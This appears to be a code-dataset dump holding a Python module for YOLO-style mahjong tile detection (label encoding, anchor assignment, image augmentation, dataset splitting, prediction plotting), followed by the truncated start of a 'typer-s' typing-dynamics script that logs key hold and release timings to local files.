downwards, x is to the right.\n grid_row = int(grid_loc[1])\n grid_col = int(grid_loc[0])\n grid_assignments[grid_row, grid_col] += 1\n\n if grid_assignments[grid_row, grid_col] > max_assignments:\n max_assignments = grid_assignments[grid_row, grid_col]\n max_assignments_file = ann\n max_assignments_cell_loc = (grid_row, grid_col)\n\n if grid_assignments[grid_row, grid_col] > yg.NUM_ANCHOR_BOXES and (ann not in fails):\n fails += [ann]\n fails_objs += [grid_assignments[grid_row, grid_col]]\n fails_loc += [(grid_row, grid_col)]\n print(\"Most objects in cell\", str(max_assignments_cell_loc),\n \"is\", str(max_assignments), \"in file\", max_assignments_file)\n return len(fails) == 0, fails, fails_objs, fails_loc\n\n\ndef _find_best_unused_anchor_box(box_w, box_h, label_entry):\n best_iou = -1\n best_anchor_ind = -1\n for i in range(len(yg.ANCHOR_BOXES)):\n box = np.array([box_w, box_h])\n clust = np.array([yg.ANCHOR_BOXES[i]])\n iou = _iou(box, clust)\n # print(\"Box of w/h\", str(box_w), \"x\", str(box_h), \"iou with anchor\", str(i), \"=\", str(iou))\n if iou > best_iou and not any(label_entry[i]):\n best_iou = iou\n best_anchor_ind = i\n return best_anchor_ind, best_iou\n\n\ndef file_to_img_label(example_tuple):\n img_path, lbl_path = example_tuple[0], example_tuple[1]\n img_path = yg.ROOT_DATASET_PATH + img_path.numpy().decode('utf-8')\n lbl_path = yg.ROOT_DATASET_PATH + lbl_path.numpy().decode('utf-8')\n if yg.DEBUG_PRINT > 2:\n tf.print(\"Getting file: \", img_path)\n try:\n f = open(lbl_path)\n label_txt = f.readlines()\n f.close()\n except FileNotFoundError:\n print(\"Could not find label file\", lbl_path, \"skipping.\")\n return None, None\n\n try:\n img = cv.imread(img_path)\n except FileNotFoundError:\n print(\"Could not find image file\", img_path, \"skipping.\")\n return None, None\n\n # CV loads in BGR order, want RGB\n img = cv.cvtColor(img, cv.COLOR_BGR2RGB)\n img = cv.resize(img, (yg.IMG_H, yg.IMG_W))\n # Max is 255 (img are stored in 8-bits / channel) rescale to 0->1 max\n img = img / 255.0\n\n label_matrix = np.zeros(yg.YOLO_OUTPUT_SHAPE)\n for line in label_txt:\n # Formatted as class, x_center, y_center, box_w, box_h delimited by spaces\n # Class is a number based on yolo_globals.class_map\n # X, Y, W, H is already in units of % of image width/height -> range from 0->1\n split_line = [float(el) for el in line.strip().split(\" \")]\n cls = int(split_line[0])\n x_center = split_line[1]\n y_center = split_line[2]\n w = split_line[3]\n h = split_line[4]\n\n # Will be a number between 0 -> grid size with a fraction representing how far into the cell.\n grid_x = yg.GRID_W * x_center\n grid_y = yg.GRID_H * y_center\n\n # Y value determines row. Top left of image is 0,0 and y is downwards, x is to the right.\n grid_row = int(grid_y)\n grid_col = int(grid_x)\n\n best_anchor_ind, iou = _find_best_unused_anchor_box(w, h, label_matrix[grid_row, grid_col])\n if best_anchor_ind == -1:\n raise ValueError(\"Not enough anchor boxes to assign to\")\n # print(\"Best anchor: \", str(best_anchor_ind), \" with iou:\", str(iou))\n\n # Convert from % image to % grid\n w *= yg.GRID_W\n h *= yg.GRID_H\n\n label_matrix[grid_row, grid_col, best_anchor_ind, yg.LABEL_BBOX_INDEX_START:yg.LABEL_BBOX_INDEX_END] = \\\n np.array([grid_x, grid_y, w, h])\n label_matrix[grid_row, grid_col, best_anchor_ind, yg.LABEL_CONFIDENCE_INDEX] = 1\n class_lst = [0]*yg.NUM_CLASSES\n class_lst[cls] = 1\n label_matrix[grid_row, grid_col, best_anchor_ind, yg.LABEL_CLASS_INDEX_START:yg.LABEL_CLASS_INDEX_END] = \\\n np.array(class_lst)\n return img, label_matrix\n\n\ndef clean_aug_files():\n root = yg.ROOT_DATASET_PATH\n all_files = os.listdir(root)\n all_aug_img = [i for i in all_files if os.path.splitext(i)[1] == yg.IMG_FILETYPE\n and \"_aug_\" in os.path.splitext(i)[0]]\n all_aug_labels = [i for i in all_files if os.path.splitext(i)[1] == yg.LABEL_FILETYPE\n and \"_aug_\" in os.path.splitext(i)[0]]\n\n if len(all_aug_img) == 0 and len(all_aug_labels) == 0:\n print(\"No files to clean up.\")\n return\n\n print(\"These files will be deleted\")\n for f in all_aug_labels:\n print(yg.ROOT_DATASET_PATH + f)\n for f in all_aug_img:\n print(yg.ROOT_DATASET_PATH + f)\n print(\"A total of\", str(len(all_aug_labels)), \"labels and\", str(len(all_aug_img)), \"images will be removed.\")\n\n prompt = input(\"If this is ok, type Y/y. Enter N/n or any other character to cancel.\")\n if prompt.lower() != \"y\":\n return\n\n for f in all_aug_labels:\n os.remove(yg.ROOT_DATASET_PATH + f)\n for f in all_aug_img:\n os.remove(yg.ROOT_DATASET_PATH + f)\n\n\ndef augment_brightness(passes=1, brightness_override=None, contrast_override=None, skip_aug=False):\n root = yg.ROOT_DATASET_PATH\n all_files = os.listdir(root)\n if skip_aug:\n all_img = [i for i in all_files if os.path.splitext(i)[1] == yg.IMG_FILETYPE\n and \"_aug_\" not in os.path.splitext(i)[0]]\n all_labels = [i for i in all_files if os.path.splitext(i)[1] == yg.LABEL_FILETYPE\n and \"_aug_\" not in os.path.splitext(i)[0]]\n assert len(all_img) == len(all_labels)\n assert not any([(\"_aug_\" in i) for i in all_img])\n assert not any([(\"_aug_\" in i) for i in all_labels])\n else:\n all_img = [i for i in all_files if os.path.splitext(i)[1] == yg.IMG_FILETYPE]\n all_labels = [i for i in all_files if os.path.splitext(i)[1] == yg.LABEL_FILETYPE]\n\n for it in range(passes):\n print(\"Brightness augmentations pass #\", str(it), \". Augmenting\", str(len(all_img)), \"images...\")\n for img_path, lbl_path in zip(all_img, all_labels):\n brightness_change = 1\n contrast_change = 1.0\n while brightness_change == 1 or contrast_change == 1.0:\n if brightness_override is not None:\n brightness_change = randint(brightness_override[0], brightness_override[1])\n else:\n brightness_change = randint(-80, 80)\n\n if contrast_override is not None:\n contrast_change = uniform(contrast_override[0], contrast_override[1])\n else:\n contrast_change = uniform(0.95, 1.05)\n\n img = cv.imread(yg.ROOT_DATASET_PATH + img_path)\n new_img = cv.convertScaleAbs(img, alpha=contrast_change, beta=brightness_change)\n aug = \"_aug_alpha\" + \"{:.2f}\".format(contrast_change).replace(\".\", \"_\")\n aug += \"_beta\" + str(brightness_change).replace(\"-\", \"neg\")\n cv.imwrite(yg.ROOT_DATASET_PATH + os.path.splitext(img_path)[0] + aug + yg.IMG_FILETYPE, new_img)\n new_lbl_file_path = yg.ROOT_DATASET_PATH + os.path.splitext(lbl_path)[0] + aug + yg.LABEL_FILETYPE\n copyfile(yg.ROOT_DATASET_PATH + lbl_path, new_lbl_file_path)\n\n\ndef augment_ds_zoom(passes=1, zoom_override=None, deadzone=None, ignore_aug=True):\n root = yg.ROOT_DATASET_PATH\n all_files = os.listdir(root)\n if ignore_aug:\n all_img = [i for i in all_files if os.path.splitext(i)[1] == yg.IMG_FILETYPE\n and \"_aug_\" not in os.path.splitext(i)[0]]\n all_labels = [i for i in all_files if os.path.splitext(i)[1] == yg.LABEL_FILETYPE\n and \"_aug_\" not in os.path.splitext(i)[0]]\n assert len(all_img) == len(all_labels)\n assert not any([(\"_aug_\" in i) for i in all_img])\n assert not any([(\"_aug_\" in i) for i in all_labels])\n else:\n all_img = [i for i in all_files if os.path.splitext(i)[1] == yg.IMG_FILETYPE]\n all_labels = [i for i in all_files if os.path.splitext(i)[1] == yg.LABEL_FILETYPE]\n\n for it in range(passes):\n print(\"Zoom augmentations pass #\", str(it), \". Augmenting\", str(len(all_img)), \"images...\")\n for img_path, lbl_path in zip(all_img, all_labels):\n f = open(yg.ROOT_DATASET_PATH + lbl_path, \"r\")\n label_txt = f.readlines()\n f.close()\n\n img = cv.imread(yg.ROOT_DATASET_PATH + img_path)\n img_h, img_w = img.shape[0:2]\n \n zoom_factor = 1.0\n if deadzone is None:\n deadzone = (1.0, 1.0)\n \n while deadzone[0] <= zoom_factor <= deadzone[1]:\n if zoom_override is not None:\n zoom_factor = uniform(zoom_override[0], zoom_override[1])\n else:\n zoom_factor = uniform(0.92, 1.08)\n\n translate = np.eye(3)\n translate[0:2, 2] = [-img_w/2, -img_h/2] # Zoom to this pixel by shifting it to 0,0\n\n zoom = np.diag([zoom_factor, zoom_factor, 1]) # Apply scaling around 0,0\n\n inverse_translate = np.eye(3)\n inverse_translate[0:2, 2] = [(img_w-1)/2, (img_h-1)/2] # shift this point back to its original position\n\n H = inverse_translate @ zoom @ translate # Overall transformation matrix\n M = H[0:2] # CV2 uses 2x3 matrix of the form M = [T B] where T is 2x2 and B is 2x1 to compute y = Tx + B\n\n # Warp img using the same matrix\n new_img = cv.warpAffine(img, dsize=(img_w, img_h), M=M, flags=cv.INTER_NEAREST)\n\n new_anns = []\n for ann in label_txt:\n split_line = ann.strip().split(\" \")\n old_lbl_x, old_lbl_y = float(split_line[1]), float(split_line[2])\n old_lbl_w, old_lbl_h = float(split_line[3]), float(split_line[4])\n # Convert label positions to new coords\n # Convert to absolute coords instead of % and vectorize. The 1 is so we have matching dims.\n old_pos_vec = np.array([old_lbl_x * img_w, old_lbl_y * img_h, 1]).reshape((3, 1))\n # Apply transformation\n new_pos_vec = M.dot(old_pos_vec).reshape((2,))\n # W/H is just scaled by the zoom factor\n new_lbl_w, new_lbl_h = old_lbl_w * zoom_factor, old_lbl_h * zoom_factor\n # Rescale coords back to % of image before writing to file.\n new_ann = \" \".join([split_line[0],\n str(new_pos_vec[0]/img_w),\n str(new_pos_vec[1]/img_h),\n str(new_lbl_w),\n str(new_lbl_h)])\n new_anns += [new_ann]\n\n aug = \"_aug_zoom\" + \"{:.2f}\".format(zoom_factor).replace(\".\", \"_\")\n cv.imwrite(yg.ROOT_DATASET_PATH + os.path.splitext(img_path)[0] + aug + yg.IMG_FILETYPE, new_img)\n f = open(yg.ROOT_DATASET_PATH + os.path.splitext(lbl_path)[0] + aug + yg.LABEL_FILETYPE, \"w\")\n for ann in new_anns:\n f.write(ann + \"\\n\")\n f.close()\n\n\ndef augment_ds_translate(passes=1, override_shift_range=None, deadzone=None):\n root = yg.ROOT_DATASET_PATH\n all_files = os.listdir(root)\n all_img = [i for i in all_files if os.path.splitext(i)[1] == yg.IMG_FILETYPE\n and \"_aug_\" not in os.path.splitext(i)[0]]\n all_labels = [i for i in all_files if os.path.splitext(i)[1] == yg.LABEL_FILETYPE\n and \"_aug_\" not in os.path.splitext(i)[0]]\n assert len(all_img) == len(all_labels)\n assert not any([(\"_aug_\" in i) for i in all_img])\n assert not any([(\"_aug_\" in i) for i in all_labels])\n\n for it in range(passes):\n print(\"Translation augmentations pass #\", str(it), \". Augmenting\", str(len(all_img)), \"images...\")\n for img_path, lbl_path in zip(all_img, all_labels):\n f = open(yg.ROOT_DATASET_PATH + lbl_path, \"r\")\n label_txt = f.readlines()\n f.close()\n\n img = cv.imread(yg.ROOT_DATASET_PATH + img_path)\n img_h, img_w = img.shape[0:2]\n\n if override_shift_range is not None:\n shift_right_left_min = override_shift_range[0]\n shift_right_left_max = override_shift_range[1]\n shift_up_down_min = override_shift_range[2]\n shift_up_down_max = override_shift_range[3]\n else:\n shift_right_left_min = -350\n shift_right_left_max = 350\n shift_up_down_min = -120\n shift_up_down_max = 50\n \n if deadzone is None:\n deadzone = (0, 0, 0, 0)\n\n shift_rl_amt = shift_ud_amt = 0\n while deadzone[0] <= shift_rl_amt <= deadzone[1]:\n shift_rl_amt = randint(shift_right_left_min, shift_right_left_max)\n \n while deadzone[2] <= shift_ud_amt <= deadzone[3]:\n shift_ud_amt = randint(shift_up_down_min, shift_up_down_max)\n \n translation_matrix = np.float32([[1, 0, shift_rl_amt], [0, 1, shift_ud_amt]])\n new_img = cv.warpAffine(img, translation_matrix, (img_w, img_h))\n new_anns = []\n for ann in label_txt:\n split_line = ann.strip().split(\" \")\n old_x, old_y = float(split_line[1]), float(split_line[2])\n new_x, new_y = (old_x + shift_rl_amt/img_w), (old_y + shift_ud_amt/img_h)\n new_line = \" \".join([split_line[0], str(new_x), str(new_y), split_line[3], split_line[4]])\n new_anns += [new_line]\n\n srl_aug = \"sr\" + str(shift_rl_amt) if shift_rl_amt >= 0 else \"sl\" + str(shift_rl_amt)[1:]\n sud_aug = \"sd\" + str(shift_ud_amt) if shift_ud_amt >= 0 else \"su\" + str(shift_ud_amt)[1:]\n aug = \"_aug_\" + srl_aug + \"_\" + sud_aug\n f = open(yg.ROOT_DATASET_PATH + os.path.splitext(lbl_path)[0] + aug + yg.LABEL_FILETYPE, \"w\")\n for ann in new_anns:\n f.write(ann + \"\\n\")\n f.close()\n cv.imwrite(yg.ROOT_DATASET_PATH + os.path.splitext(img_path)[0] + aug + yg.IMG_FILETYPE, new_img)\n\n\ndef get_datasets():\n root = yg.ROOT_DATASET_PATH\n all_files = os.listdir(root)\n all_img = [i for i in all_files if os.path.splitext(i)[1] == yg.IMG_FILETYPE]\n all_labels = [i for i in all_files if os.path.splitext(i)[1] == yg.LABEL_FILETYPE]\n assert len(all_img) == len(all_labels) and\\\n all([os.path.splitext(all_img[i])[0] == os.path.splitext(all_labels[i])[0] for i in range(len(all_img))])\n\n train_split, val_split, test_split = yg.TRAIN_VAL_TEST_SPLIT_RATIO_TUPLE\n\n all_examples = list(zip(all_img, all_labels))\n rng = np.random.RandomState(yg.GLOBAL_RNG_SEED)\n rng.shuffle(all_examples)\n total_len = len(all_examples)\n train_end_ind = int(total_len * train_split)\n valid_end_ind = train_end_ind + int(total_len * val_split)\n\n train_examples = all_examples[:train_end_ind]\n valid_examples = all_examples[train_end_ind:valid_end_ind]\n test_examples = all_examples[valid_end_ind:]\n\n num_train_examples = len(train_examples)\n num_valid_examples = len(valid_examples)\n num_test_examples = len(test_examples)\n\n train_ds = tf.data.Dataset.from_tensor_slices(train_examples)\n train_ds = train_ds.map(lambda x: tf.py_function(file_to_img_label, inp=[x], Tout=[tf.float32, tf.float32]))\n\n valid_ds = tf.data.Dataset.from_tensor_slices(valid_examples)\n valid_ds = valid_ds.map(lambda x: tf.py_function(file_to_img_label, inp=[x], Tout=[tf.float32, tf.float32]))\n\n test_ds = tf.data.Dataset.from_tensor_slices(test_examples)\n test_ds = test_ds.map(lambda x: tf.py_function(file_to_img_label, inp=[x], Tout=[tf.float32, tf.float32]))\n\n if yg.DS_BUFFER_SIZE > 0:\n train_ds = train_ds.shuffle(buffer_size=yg.DS_BUFFER_SIZE,\n seed=yg.GLOBAL_RNG_SEED,\n reshuffle_each_iteration=True).repeat().batch(yg.BATCH_SIZE)\n valid_ds = valid_ds.shuffle(buffer_size=yg.DS_BUFFER_SIZE,\n seed=yg.GLOBAL_RNG_SEED*4,\n reshuffle_each_iteration=True).repeat().batch(\n max(int(yg.BATCH_SIZE * val_split), 1)\n )\n test_ds = test_ds.shuffle(buffer_size=yg.DS_BUFFER_SIZE,\n seed=yg.GLOBAL_RNG_SEED*6,\n reshuffle_each_iteration=True).repeat().batch(\n max(int(yg.BATCH_SIZE * test_split), 1)\n )\n else:\n train_ds = train_ds.repeat().batch(yg.BATCH_SIZE)\n valid_ds = valid_ds.repeat().batch(max(int(yg.BATCH_SIZE * val_split), 1))\n test_ds = test_ds.repeat().batch(max(int(yg.BATCH_SIZE * test_split), 1))\n\n # train_ds = train_ds.prefetch(tf.data.AUTOTUNE)\n # valid_ds = valid_ds.prefetch(tf.data.AUTOTUNE)\n return train_ds, valid_ds, test_ds, num_train_examples, num_valid_examples, num_test_examples\n\n\ndef img_to_pred_input(img_path):\n try:\n img = cv.imread(img_path)\n except FileNotFoundError:\n print(\"Could not find image file\", img_path)\n return None\n\n # CV loads in BGR order, want RGB\n img = cv.cvtColor(img, cv.COLOR_BGR2RGB)\n img_h, img_w = img.shape[0:2]\n img = cv.resize(img, (yg.IMG_H, yg.IMG_W))\n # Max is 255 (img are stored in 8-bits / channel) rescale to 0->1 max\n return tf.convert_to_tensor(img / 255., dtype=tf.float32)\n\n\ndef _pred_iou(box1, box2):\n # x, y, w, h\n box1, box2 = np.array(box1), np.array(box2)\n box1_xy_mins = box1[:2] - (box1[2:]/2.)\n box1_xy_maxes = box1[:2] + (box1[2:]/2.)\n\n box2_xy_mins = box2[:2] - (box2[2:]/2.)\n box2_xy_maxes = box2[:2] + (box2[2:]/2.)\n\n intersect_mins = np.maximum(box1_xy_mins, box2_xy_mins)\n intersect_maxes = np.minimum(box1_xy_maxes, box2_xy_maxes)\n intersect_wh = np.maximum(intersect_maxes - intersect_mins, 0.)\n intersect_area = intersect_wh[0] * intersect_wh[1]\n\n box1_area = box1[2] * box1[3]\n box2_area = box2[2] * box2[3]\n\n union_area = box2_area + box1_area - intersect_area\n return intersect_area / union_area\n\n\ndef get_pred_output_img(img, y_pred_xy, y_pred_wh, y_pred_confs, y_pred_classes, class_thresh=0.7, conf_thresh=0.6, nms_iou_thresh=0.2):\n img_h, img_w = img.shape[0:2]\n bboxes = []\n class_probs = []\n class_names = []\n confs = []\n num_over_conf_but_not_class = 0\n num_over_class_but_not_conf = 0\n for row in range(yg.GRID_H):\n for col in range(yg.GRID_W):\n for bbox in range(yg.NUM_ANCHOR_BOXES):\n curr_conf = y_pred_confs[row, col, bbox]\n # print(\"\\nBBox\", str(bbox), \"in row x col\", str(row), \"x\", str(col), \"Confidence:\", str(curr_conf))\n class_argmax_ind = np.argmax(y_pred_classes[row, col, bbox])\n highest_prob_class_name = yg.CLASS_MAP[class_argmax_ind]\n highest_prob_class_amt = y_pred_classes[row, col, bbox, class_argmax_ind]\n # print(\"Most likely class is\", str(highest_prob_class_name), \"with prob.\", str(highest_prob_class_amt))\n if highest_prob_class_amt < class_thresh and curr_conf >= conf_thresh:\n num_over_conf_but_not_class += 1\n elif highest_prob_class_amt >= class_thresh and curr_conf < conf_thresh:\n num_over_class_but_not_conf += 1\n if highest_prob_class_amt < class_thresh or curr_conf < conf_thresh:\n continue\n\n pred_bbox = np.hstack((y_pred_xy[row, col, bbox], y_pred_wh[row, col, bbox]))\n bboxes += [pred_bbox]\n class_probs += [highest_prob_class_amt]\n class_names += [highest_prob_class_name]\n confs += [curr_conf]\n remaining = []\n mega_list = [(bboxes[i], class_probs[i], class_names[i], confs[i]) for i in range(len(bboxes))]\n # Sort by class probability, reverse so highest is first\n mega_list = sorted(mega_list, key=lambda x: x[1])[::-1]\n for i in range(len(mega_list)):\n include = True\n for j in range(len(remaining)):\n if _pred_iou(mega_list[i][0], remaining[j][0]) > nms_iou_thresh and mega_list[i][2] == remaining[j][2]:\n include = False\n break\n\n if include:\n remaining += [mega_list[i]]\n\n fig = plt.figure()\n plt.subplots_adjust(0, 0, 1, 1, 0, 0)\n plt.imshow(img)\n ax = plt.gca()\n ax.axis(\"off\")\n ax.axis(\"tight\") # gets rid of white border\n ax.axis(\"image\") # square up the image instead of filling the \"figure\" space\n for bbox, class_prob, class_name, confs in remaining:\n x_rel = bbox[0]\n y_rel = bbox[1]\n w_rel = bbox[2]\n h_rel = bbox[3]\n\n color = choice(colors)\n plt.plot([x_rel * img_w], [y_rel * img_h], marker=\"x\", markersize=4, color=color)\n anchor_xy = ((x_rel - w_rel / 2) * img_w, (y_rel - h_rel / 2) * img_h)\n # Anchor point is the bottom left of the rect\n rect = Rectangle(anchor_xy, w_rel * img_w, h_rel * img_h, linewidth=2.5, edgecolor=color,\n facecolor='none')\n ax.add_patch(rect)\n # Anchor point seems to be assuming 0,0 is the top left\n # text_anchor_xy = ((x_rel - w_rel / 2) * img_w, ((y_rel - h_rel / 2) * img_h) + 5)\n # annotation = class_name + \": \" + str(class_prob) + \"\\nObj conf: \" + str(confs)\n # plt.annotate(annotation, text_anchor_xy)\n fig.canvas.draw()\n image_flat = np.frombuffer(fig.canvas.tostring_rgb(), dtype='uint8')\n image = image_flat.reshape(fig.canvas.get_width_height()[::-1] + (3,))\n plt.close()\n return image, remaining\n\n\ndef draw_pred_output_and_plot(img_path, y_pred_xy, y_pred_wh, y_pred_confs, y_pred_classes, class_thresh=0.7, conf_thresh=0.6, nms_iou_thresh=0.2, unsquish=True):\n try:\n img = cv.imread(img_path)\n except FileNotFoundError:\n print(\"Could not find image file\", img_path)\n return None\n\n # CV loads in BGR order, want RGB\n img = cv.cvtColor(img, cv.COLOR_BGR2RGB)\n img_h, img_w = img.shape[0:2]\n if not unsquish:\n img = cv.resize(img, (yg.IMG_H, yg.IMG_W))\n img_h = yg.IMG_H\n img_w = yg.IMG_W\n\n plt.imshow(img)\n y_spacing = img_h / yg.GRID_H\n x_spacing = img_w / yg.GRID_W\n for i in range(1, yg.GRID_H):\n plt.axhline(y=i * y_spacing, color=\"k\", linestyle=\"--\", alpha=0.2)\n for i in range(1, yg.GRID_W):\n plt.axvline(x=i * x_spacing, color=\"k\", linestyle=\"--\", alpha=0.2)\n\n bboxes = []\n class_probs = []\n class_names = []\n confs = []\n num_over_conf_but_not_class = 0\n num_over_class_but_not_conf = 0\n for row in range(yg.GRID_H):\n for col in range(yg.GRID_W):\n for bbox in range(yg.NUM_ANCHOR_BOXES):\n curr_conf = y_pred_confs[row, col, bbox]\n # print(\"\\nBBox\", str(bbox), \"in row x col\", str(row), \"x\", str(col), \"Confidence:\", str(curr_conf))\n class_argmax_ind = np.argmax(y_pred_classes[row, col, bbox])\n highest_prob_class_name = yg.CLASS_MAP[class_argmax_ind]\n highest_prob_class_amt = y_pred_classes[row, col, bbox, class_argmax_ind]\n # print(\"Most likely class is\", str(highest_prob_class_name), \"with prob.\", str(highest_prob_class_amt))\n if highest_prob_class_amt < class_thresh and curr_conf >= conf_thresh:\n num_over_conf_but_not_class += 1\n elif highest_prob_class_amt >= class_thresh and curr_conf < conf_thresh:\n num_over_class_but_not_conf += 1\n if highest_prob_class_amt < class_thresh or curr_conf < conf_thresh:\n continue\n\n pred_bbox = np.hstack((y_pred_xy[row, col, bbox], y_pred_wh[row, col, bbox]))\n bboxes += [pred_bbox]\n class_probs += [highest_prob_class_amt]\n class_names += [highest_prob_class_name]\n confs += [curr_conf]\n print(\"Found \", str(len(bboxes)), \" bboxes over both thresholds\")\n print(\"Found \", str(num_over_class_but_not_conf), \" bboxes over class threshold but not confidence threshold\")\n print(\"Found \", str(num_over_conf_but_not_class), \" bboxes over confidence threshold but not class threshold\")\n print(\"Non-max suppressing...\")\n \n remaining = []\n mega_list = [(bboxes[i], class_probs[i], class_names[i], confs[i]) for i in range(len(bboxes))]\n # Sort by class probability, reverse so highest is first\n mega_list = sorted(mega_list, key=lambda x: x[1])[::-1]\n for i in range(len(mega_list)):\n include = True\n for j in range(len(remaining)): \n if _pred_iou(mega_list[i][0], remaining[j][0]) > nms_iou_thresh and mega_list[i][2] == remaining[j][2]:\n include = False\n break\n \n if include:\n remaining += [mega_list[i]]\n \n print(\"Suppressed\", str(len(mega_list) - len(remaining)), \"boxes\")\n print(str(len(remaining)), \"boxes left\")\n for bbox, class_prob, class_name, confs in remaining:\n x_rel = bbox[0]\n y_rel = bbox[1]\n w_rel = bbox[2]\n h_rel = bbox[3]\n\n color = choice(colors)\n plt.plot([x_rel * img_w], [y_rel * img_h], marker=\"x\", markersize=4, color=color)\n anchor_xy = ((x_rel - w_rel / 2) * img_w, (y_rel - h_rel / 2) * img_h)\n # Anchor point is the bottom left of the rect\n rect = Rectangle(anchor_xy, w_rel * img_w, h_rel * img_h, linewidth=2.5, edgecolor=color,\n facecolor='none')\n plt.gca().add_patch(rect)\n # Anchor point seems to be assuming 0,0 is the top left\n text_anchor_xy = ((x_rel - w_rel / 2) * img_w, ((y_rel - h_rel / 2) * img_h) + 5)\n annotation = class_name + \": \" + str(class_prob) + \"\\nObj conf: \" + str(confs)\n plt.annotate(annotation, text_anchor_xy)\n plt.show()\n\n\ndef img_and_label_plot(img_path, squish=False, highlight_cell=None):\n try:\n img = cv.imread(img_path)\n except FileNotFoundError:\n print(\"Could not find image file\", img_path)\n return None\n\n # CV loads in BGR order, want RGB\n img = cv.cvtColor(img, cv.COLOR_BGR2RGB)\n img_h, img_w = img.shape[0:2]\n if squish:\n img = cv.resize(img, (yg.IMG_H, yg.IMG_W))\n img_h = yg.IMG_H\n img_w = yg.IMG_W\n\n annotations_path = os.path.splitext(img_path)[0] + \".txt\"\n try:\n f = open(annotations_path)\n label_txt = f.readlines()\n f.close()\n except FileNotFoundError:\n print(\"Oops, no text\")\n return\n\n plt.imshow(img)\n y_spacing = img_h / yg.GRID_H\n x_spacing = img_w / yg.GRID_W\n for i in range(1, yg.GRID_H):\n plt.axhline(y=i*y_spacing, color=\"k\", linestyle=\"--\", alpha=0.2)\n for i in range(1, yg.GRID_W):\n plt.axvline(x=i*x_spacing, color=\"k\", linestyle=\"--\", alpha=0.2)\n if highlight_cell is not None:\n grid_anchor_x = highlight_cell[1] * x_spacing\n grid_anchor_y = highlight_cell[0] * y_spacing\n rect = Rectangle((grid_anchor_x, grid_anchor_y), x_spacing, y_spacing, linewidth=5,\n edgecolor=\"pink\", facecolor='none')\n plt.gca().add_patch(rect)\n plt.annotate(\"Highlighted Cell\", (grid_anchor_x, grid_anchor_y), xytext=(0, 0), arrowprops=\n {\n \"headwidth\": 10,\n \"headlength\": 10\n })\n for an in label_txt:\n info = [float(el) for el in an.strip().split(\" \")]\n cls = info[0]\n x_rel, y_rel = info[1], info[2]\n w_rel, h_rel = info[3], info[4]\n color = choice(colors)\n plt.plot([x_rel*img_w], [y_rel*img_h], marker=\"x\", markersize=4, color=color)\n anchor_xy = ((x_rel - w_rel/2)*img_w, (y_rel - h_rel/2)*img_h)\n # Anchor point is the bottom left of the rect\n rect = Rectangle(anchor_xy, w_rel*img_w, h_rel*img_h, linewidth=2.5, edgecolor=color, facecolor='none')\n plt.gca().add_patch(rect)\n # Anchor point seems to be assuming 0,0 is the top left\n text_anchor_xy = ((x_rel - w_rel/2)*img_w, ((y_rel - h_rel/2)*img_h)+5)\n plt.annotate(yg.CLASS_MAP[cls], text_anchor_xy)\n plt.show()\n","repo_name":"nwerblun/mahjong_master","sub_path":"ml_reinvented_wheel/input_output_utils.py","file_name":"input_output_utils.py","file_ext":"py","file_size_in_byte":30255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"41776831591","text":"###############################################################################################################################\n## This file contains the class for each key object and core funcitons for defining the datastructure used in thsi program ##\n## datastructure is a tree like structure in which the parent node will be the space key and each node will have 26 leaf ##\n## nodes. This 26 can be defined 26 captial letters and 26 small letters of english alphabet ##\n## The object creation function is accepting values from front end and creat the object which stores in the datastructure ##\n## . ##\n## Author: hhsecond ##\n## Github: github.com/hhsecond/typer-s ##\n## date: 2/28/2016 ##\n###############################################################################################################################\n\nimport threading, time\nfrom settings import *\nfrom main_core import *\n\ntotal_key_count = 0\nbspace_count = 0\n\nclass writedb(threading.Thread):\n \"\"\"docstring for writethread - its for writing the file at each one minute\"\"\"\n def __init__(self):\n threading.Thread.__init__(self)\n self.start()\n def run(self):\n \tglobal avg_time_params, data_to_config, dicti, lcorebspacepm\n \twhile 1:\n\t \ttime.sleep(60)\n\t \tdata_to_file = ''\n\t \tdata_out_li = dicti.filewrite()\n\t \tfor words in data_out_li:\n\t \t\tfor letter in words:\n\t \t\t\tdata_to_file += letter.name + ':' + str(letter.hold) +':' + str(letter.releasedn) + ' '\n\t \t\tdata_to_file += '\\n'\n\t \twith open('typer-s\\\\typerstree.tss', 'w+') as f:\n\t \t\tf.write(data_to_file)\n\t \t\tprint('data printed')\n\n\t \t#keeping data_to_config as a saperate datastructure for storing\n\t \t#all the configuration infos that could come in future\n\t \tdata_to_config['average_hold_time'] = avg_time_params[0]\n\t \tdata_to_config['average_release_time'] = avg_time_params[1]\n\t \tdata_to_config['back_space_factor'] = bspace_count/total_key_count #chances of zero division error\n\t \twith open('typer-s\\\\typer.config', 'w+') as f:\n\t \t\tfor key, val in data_to_config.items():\n\t \t\t\tf.write(str(key) + ':' + str(val) + '\\n')\n\t \t\t\tprint(str(key) + ':' + str(val))\n\n\n\nclass objthread_down(threading.Thread):\n\t\"\"\"docstring for objthread - handling threads which is creating by key down event from typer-s\"\"\"\n\tdef __init__(self, event_name, event_window, event_time):\n\t\tthreading.Thread.__init__(self)\n\t\tself.event_name = event_name\n\t\tself.event_window = event_window\n\t\tself.event_time = event_time\n\t\tself.start()\n\tdef run(self):\n\t\tglobal prev_key, dict_counter, counter, dict_time_args, total_key_count, bspace_count\n\t\tif self.event_name != 'Back':\n\t\t\ttotal_key_count += 1\n\t\t\tprev_key.append(self.event_name)\n\t\t\tetime = self.event_time.timestamp()\n\t\t\tcounter[0] += 1\n\t\t\tdict_counter[self.event_name] = counter[0]\n\t\t\t#print('do', counter, self.event_name)\n\t\t\tdict_time_args[counter[0]] = [etime]\n\t\telse:\n\t\t\tbspace_count += 1\n\t\t\tbspacing()\n\t\t\t#print('backspace')\n\n\n\nclass objthread_up(threading.Thread):\n\t\"\"\"docstring for objthread - handling threads which is creating by key up event from typer-s\"\"\"\n\tdef __init__(self, event_name, event_window, event_time):\n\t\t#print(event_name)\n\t\tthreading.Thread.__init__(self)\n\t\tself.event_name = event_name\n\t\tself.event_window = event_window\n\t\tself.event_time = event_time\n\t\tself.start()\n\tdef run(self):\n\t\tif self.event_name != 'Back':\n\t\t\tglobal avg_time_params, key_dict, dict_counter, dict_time_args, counter, dicti\n\t\t\tetime = self.event_time.timestamp()\n\t\t\tcurr_count = dict_counter[self.event_name]\n\t\t\t#print('up', curr_count, self.event_name)\n\t\t\tdict_time_args[curr_count].append(etime)#for refering previous up time (not using now, for futureq)\n\n\t\t\tcurr_hold = etime - dict_time_args[curr_count][0]#curr_up_time - curr_down_time\n\t\t\tif dict_time_args[curr_count - 1][0]:\n\t\t\t\tcurr_releasedn = dict_time_args[curr_count][0] - dict_time_args[curr_count - 1][0]#curr_down_time - 